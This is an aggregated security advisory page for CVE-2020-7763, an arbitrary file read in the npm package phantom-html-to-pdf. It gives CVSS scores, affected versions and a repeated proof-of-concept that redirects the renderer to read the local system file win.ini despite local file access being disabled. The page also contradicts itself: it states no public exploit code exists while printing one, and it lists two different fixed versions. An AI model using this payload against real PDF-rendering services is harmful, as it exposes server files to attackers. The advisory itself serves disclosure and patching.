CVE-2020-7763
Arbitrary File Read
This affects the package phantom-html-to-pdf before 0.6.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
Arbitrary File Read
This affects the package phantom-html-to-pdf before 0.6.1.
- Record
CVE-2020-7763- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C - Updated
- 2026-11-02
EUVDEUVD-2020-1448
This affects the package phantom-html-to-pdf before 0.6.1.
- Record
EUVD-2020-1448- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-6h7f-qwqm-35pp
Arbitrary File Read in phantom-html-to-pdf
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
- Record
GHSA-6h7f-qwqm-35pp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-200
- Updated
- 2026-11-02
NVD
This affects the package phantom-html-to-pdf before 0.6.1.
- Record
CVE-2020-7763- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:P/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
This affects the package phantom-html-to-pdf before 0.6.1.
- Record
CVE-2020-7763- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-6h7f-qwqm-35pp
Arbitrary File Read in phantom-html-to-pdf
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
- Record
GHSA-6h7f-qwqm-35pp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phantom-html-to-pdfnpm |
before 0.6.1 | 0.6.1 |
phantom-html-to-pdfnpm |
before 0.6.2 | 0.6.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2020-7763 is a high vulnerability (CVSS 7.5) in Jsreport Phantom-html-to-pdf, published November 5, 2020. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.62%, the 76th percentile. Fixed in phantom-html-to-pdf 0.6.1.